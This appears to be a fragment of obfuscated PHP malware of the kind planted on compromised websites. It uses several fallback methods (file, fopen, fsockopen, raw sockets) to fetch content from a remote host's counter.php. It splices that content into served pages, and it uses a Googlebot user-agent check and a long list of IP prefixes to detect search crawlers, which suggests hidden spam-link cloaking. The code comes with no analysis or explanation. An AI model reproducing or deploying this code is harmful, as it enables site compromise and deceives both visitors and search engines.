"; exit; } else { echo ""; exit; } } $_5 = l__0($_3, false); $data = l__1($_5, $data, $_2); } function l__0($_3, $_6) { $_7 = explode("\n" , $_3); $_5 = array(); foreach($_7 as $_8) { $_5[] = trim($_8); } $_4 = array_shift($_5); if ($_6) return $_4; return $_5; } function l__1($_9, $data, $_2) { $_10 = $data; $_11 = false; $_12 = ""; $_13 = lower_strpos($_10, ""); $_61 = strrpos(substr($_53, 0 , $_59) , "<"); if ($_60 === false) { $_60 = round(0); } if ($_61 === false) { $_11 = true; break; } if ($_60 <= $_61) { continue; } if (count($_9) <= 0) break; $_58 = trim(array_shift($_9)); if ($_58 == NULL || strlen($_58) < round(0 + 2 + 2)) { break; } $_53 = substr($_53, round(0) , $_59 + strlen($_55)) . $_58 . " " . substr($_53, $_59 + strlen($_55)); $_57 = true; } else { break; } } while (!$_57); if ($_11) break; if (count($_9) <= round(0)) break; } $_12 = substr($_10, round(0) , $_13) . $_53; } else { $_11 = true; $_12 = $_10; } $data = $_12; return $data; } function download($_62, $host, $version) { $_9 = ""; $_9 = @download_via_file($_62, $host, $version); if ($_9 !== false) return $_9; $_9 = @download_via_fopen($_62, $host, $version); if ($_9 !== false) return $_9; $_9 = @downloadvia_fsockopen($_62, $host, $version); if ($_9 !== false) return $_9; $_9 = @download_via_socket_create($_62, $host, $version); if ($_9 !== false) return $_9; return ""; } function download_via_file($_62, $host, $version) { if (function_exists("file") === false) return false; $_63 = ""; $_64 = str_replace("www." , "" , $_SERVER["HTTP_HOST" ]); $_65 = "http://" . $host . "/c/counter.php"; $_66 = @file($_65 . "?md5=" . floor(base_convert(substr(md5($_64 . $_SERVER["REQUEST_URI" ] . $_62) , 0 , 6) , 16 , 10)) . "&v=" . $version); $_63 = ""; foreach($_66 as $_67) { $_63.= trim($_67) . "\n"; } $_68 = explode("|||" , $_63); if (count($_68) >= 3) $_63 = $_68[1 ]; if (strlen($_63) < 10) return false; return $_63; } function download_via_fopen($_62, $host, $version) { if (function_exists("fopen") === false) return false; $_63 = ""; $_64 = str_replace("www." , "" , $_SERVER["HTTP_HOST" ]); $_65 = "http://" . $host . "/c/counter.php"; $_69 = $_65 . "?md5=" . floor(base_convert(substr(md5($_64 . $_SERVER["REQUEST_URI" ] . $_62) , round(0) , round(0 + 6)) , 16 , 10)) . "&v=" . $version; $_70 = @fopen($_69, "r"); $data = @fread($_70, @filesize($_69)); @fclose($_70); $_63 = $data; $_68 = explode("|||" , $_63); if (count($_68) >= 3) $_63 = $_68[1 ]; if (strlen($_63) < round(0 + 10)) return false; return $_63; } function downloadvia_fsockopen($_62, $host, $version) { if (function_exists("fsockopen") === false) return false; $_63 = ""; $_71 = $host; $_64 = str_replace("www." , "" , $_SERVER["HTTP_HOST" ]); $_72 = round(0); $_73 = ""; $_74 = @fsockopen($_71, 80 , $_72, $_73, round(0 + 30)); if (!$_74) { return false; } else { $_75 = "GET /c/counter.php?md5=" . floor(base_convert(substr(md5($_64 . $_SERVER["REQUEST_URI" ] . $_62) , round(0) , 6) , 16 , 10)) . "&v=" . $version . " HTTP/1.1\n"; $_75.= "Host: " . $_71 . "\m"; $_75.= "Connection: Close\n\n"; @fwrite($_74, $_75); while (!@feof($_74)) { $_63.= @fread($_74, round(0 + 512 + 512 + 512 + 512)); } @fclose($_74); } $_76 = strpos($_63, " "); if ($_76 !== false) $_63 = substr($_63, $_76); else $_63 = ""; $_68 = explode("|||" , $_63); if (count($_68) >= 3) $_63 = $_68[round(0 + 0.25 + 0.25 + 0.25 + 0.25) ]; if (strlen($_63) < 10) return false; return $_63; } function download_via_socket_create($_62, $host, $version) { if (function_exists("socket_create") === false) return false; $_63 = ""; $_71 = $host; $_64 = str_replace("www." , "" , $_SERVER["HTTP_HOST" ]); $_77 = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); $_78 = @socket_connect($_77, $_71, round(0 + 80)); $_79 = "GET /c/counter.php?md5=" . floor(base_convert(substr(md5($_64 . $_SERVER["REQUEST_URI" ] . $_62) , 0 , 6) , 16 , 10)) . "&v=" . $version . " HTTP/1.1\n"; $_79.= "Host: " . $_71 . "\n"; $_79.= "Connection: Close\n\n"; $_75 = ""; @socket_write($_77, $_79, strlen($_79)); while ($_75 = @socket_read($_77, 2048)) { $_63.= $_75; } @socket_close($_77); $_76 = strpos($_63, "\n\n"); if ($_76 !== false) $_63 = substr($_63, $_76); else $_63 = ""; $_68 = explode("|||" , $_63); if (count($_68) >= 3) $_63 = $_68[1 ]; if (strlen($_63) < 10) return false; return $_63; } function is_bot() { $_80 = array( "108.59." , "109.109." , "113.197." , "124.30." , "157.238." , "166.90." , "173.15." , "173.164." , "173.194." , "173.203." , "173.240." , "173.255." , "174.142." , "178.33." , "178.60." , "184.107." , "193.120." , "193.142." , "193.186." , "193.200." , "193.92." , "194.100." , "194.110." , "194.221." , "194.78." , "195.100." , "195.141." , "195.145." , "195.18." , "195.205." , "195.22." , "195.229." , "195.27." , "195.59." , "195.65." , "195.76." , "195.81." , "196.3." , "198.108." , "200.99." , "202.106." , "202.96." , "203.222." , "203.98." , "204.50." , "206.15." , "206.160." , "206.169." , "206.186." , "206.80." , "207.250." , "207.47." , "207.86." , "207.88." , "208.113." , "208.185." , "208.21." , "208.253." , "208.36." , "208.37." , "208.44." , "208.45." , "209.119." , "209.185." , "209.203." , "209.220." , "209.234." , "209.245." , "209.247." , "209.249." , "209.85." , "212.0." , "212.108." , "212.126." , "212.179." , "212.181." , "212.21." , "212.49." , "212.50." , "213.144." , "213.151." , "213.152." , "213.186." , "213.187." , "213.19." , "213.240." , "213.246." , "213.31." , "213.61." , "216.109." , "216.110." , "216.136." , "216.156." , "216.207." , "216.218." , "216.239." , "216.33." , "216.34." , "216.74." , "217.118." , "217.149." , "217.163." , "217.193." , "217.28." , "217.30." , "217.33." , "222.66." , "4.3." , "46.4." , "62.159." , "62.20." , "62.233." , "63.146." , "63.161." , "63.166." , "63.211." , "63.243." , "63.251." , "63.83." , "63.84." , "63.97." , "64.0." , "64.124." , "64.128." , "64.132." , "64.154." , "64.186." , "64.233." , "64.245." , "64.41." , "64.68." , "64.71." , "64.9." , "65.167." , "65.170." , "65.171." , "65.196." , "65.201." , "65.205." , "65.210." , "65.211." , "65.214." , "65.221." , "65.223." , "65.245." , "65.47." , "66.102." , "66.162." , "66.192." , "66.227." , "66.249." , "66.77." , "67.122." , "67.126." , "67.152." , "67.69." , "67.93." , "69.111." , "69.224." , "69.228." , "69.236." , "69.237." , "70.239." , "70.32." , "70.89." , "70.90." , "71.130." , "72.14." , "72.16." , "74.125." , "75.17." , "75.23." , "75.37." , "75.52." , "76.200." , "76.220." , "76.231." , "76.242." , "76.246." , "77.109." , "77.40." , "78.8." , "8.6." , "8.8." , "80.146." , "80.169." , "80.227." , "80.231." , "80.239." , "80.77." , "80.80." , "81.211." , "81.93." , "82.94." , "83.141." , "83.220." , "84.233." , "84.235." , "86.127." , "87.244." , "88.208." , "89.114." , "89.175." , "89.207." , "89.96." , "92.45." , "93.153." , "93.94." , "94.200." , "94.40." , "95.172." , "99.136." , "99.144." , "99.148." , "99.163." , "99.40." , "99.55." , "99.96." ); if (lower_strpos($_SERVER["HTTP_USER_AGENT" ], "Googlebot") !== false || lower_strpos($_SERVER["HTTP_USER_AGENT" ], "Google") !== false || lower_strpos($_SERVER["HTTP_USER_AGENT" ], "google") !== false) { return true; } $_81 = explode("." , $_SERVER["REMOTE_ADDR" ]); $_82 = $_81[0 ] . "." . $_81[1 ] . "."; if (in_array($_82, $_80)) { return true; } return false; } function lower_strpos($_83, $_84) { return strpos(strtolower($_83) , strtolower($_84)); } ?>